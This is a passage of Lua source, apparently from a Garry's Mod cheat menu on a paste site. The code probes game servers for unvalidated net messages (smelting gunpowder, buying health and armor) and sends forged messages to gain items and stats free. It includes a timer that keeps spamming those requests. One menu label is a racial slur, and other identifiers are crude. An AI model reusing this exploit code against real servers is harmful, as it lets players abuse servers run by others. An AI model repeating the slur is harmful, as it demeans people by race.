  1788. if (status) then
  1789. SploitText("Found exploitable net message: KMining_SmeltItem")
  1790. addExploit( "46","Craft GunPowder", "KFC", function()
  1791. surface.PlaySound("garrysmod/ui_click.wav")
  1792.  
  1793. net.Start("KMining_SmeltItem")
  1794. net.WriteString("k_gunpowder")
  1795. net.SendToServer()
  1796.  
  1797. end);end
  1798.  
  1799. local status = ValidNetString("NPC_BuyHealth")
  1800. if (status) then
  1801. SploitText("Found exploitable net message: NPC_BuyHealth")
  1802. addExploit( "47","Buy 100 Health", "H1", function()
  1803. surface.PlaySound("garrysmod/ui_click.wav")
  1804. surface.PlaySound("hl1/fvox/blip.wav")
  1805.  
  1806. net.Start("NPC_BuyHealth")
  1807. net.WriteFloat(100)
  1808. net.SendToServer()
  1809.  
  1810. end);end
  1811.  
  1812. local status = ValidNetString("NPC_BuyArmor")
  1813. if (status) then
  1814. SploitText("Found exploitable net message: NPC_BuyHealth")
  1815. addExploit( "48","Buy 150 Armor", "A1", function()
  1816. surface.PlaySound("garrysmod/ui_click.wav")
  1817. surface.PlaySound("npc/combine_soldier/gear5.wav")
  1818.  
  1819. net.Start("NPC_BuyArmor")
  1820. net.WriteFloat(150)
  1821. net.SendToServer()
  1822.  
  1823. end);end
  1824.  
  1825. local status = ValidNetString("NPC_BuyHealth")
  1826. local client = LocalPlayer()
  1827. local health = LocalPlayer():Health()
  1828. if (status) then
  1829. SploitText("Found Exploit: Automatic Medical System")
  1830. automed = 0
  1831. addExploit( "49", "Automatic Medical System", "Nigger God", function()
  1832. surface.PlaySound("garrysmod/ui_click.wav")
  1833. if (automed == 0) then
  1834. surface.PlaySound("hl1/fvox/activated.wav")
  1835. timer.Simple(1, function()
  1836. surface.PlaySound("HL1/fvox/automedic_on.wav")
  1837. end)
  1838. SploitNotify("Activated")
  1839. automed = 1
  1840.  
  1841. else
  1842. surface.PlaySound("hl1/fvox/deactivated.wav")
  1843. SploitNotify("De-Activated")
  1844. automed = 0
  1845. end
  1846. if (automed == 1) then
  1847. timer.Create("RubMyCock", 0, 0, function()
  1848. if (client:Health() < 100) then
  1849. net.Start("NPC_BuyHealth")
  1850. net.WriteFloat(100)
  1851. net.SendToServer()
  1852. end
  1853. if (client:Armor() < 150) then
  1854. net.Start("NPC_BuyArmor")
  1855. net.WriteFloat(150)
  1856. net.SendToServer()
  1857. end
  1858. end)
  1859. else
  1860. timer.Remove("RubMyCock")
  1861. end
  1862. end);end
  1863.  
  1864. concommand.Add("exploits_open", function()
  1865. Main:SetVisible(true)
  1866. Main:MakePopup()
  1867. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH() / 2 - Main:GetTall() / 2, .4, 0, -1)
  1868. end)
  1869.  
  1870. closebutton.DoClick = function()
  1871. Main:SetMouseInputEnabled(false)
  1872. Main:SetKeyBoardInputEnabled(false)
  1873. if (inputFrameExists) then
  1874. inputFrame:SetVisible(false)
  1875. end
  1876. if (inputFrame2Exists) then
  1877. inputFrame2:SetVisible(false)
  1878. end
  1879. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH(), .4, 0, -1, function()
  1880. Main:SetVisible(false)
  1881. end)
  1882. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement